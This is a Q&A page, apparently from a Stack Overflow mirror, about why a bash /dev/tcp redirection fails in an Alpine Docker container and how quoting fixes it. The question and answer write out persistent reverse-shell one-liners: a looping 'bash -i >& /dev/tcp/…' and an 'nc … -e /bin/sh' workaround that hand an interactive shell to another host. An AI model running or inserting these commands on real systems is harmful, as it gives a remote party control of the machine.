Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Bash redirection doesn't work on container creation: "can't create /dev/tcp/<ip>/<port>: nonexistent directory"

I am trying to create a container that connects to a specific IP and port but it doesn't work for me with bash, only with regular shell.

When I create the container with bash redirection like that:

docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'

I am getting the following errors:

sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory

But if I will create it separately like that:

$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done

It will work.

I read this similar case but he wrote it should work from vesrion 2+ and I have 4.4.

like image 847
E235 Avatar asked Aug 30 '26 20:08

E235


1 Answers

OK, I solved it, it was issue with brackets, I needed to call bash with -c and then run the command inside for it to recognize it:

docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'  

By the way, the workaround was just to use the shell like that:

sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done
like image 88
E235 Avatar answered Sep 01 '26 09:09

E235



Donate For Us

If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!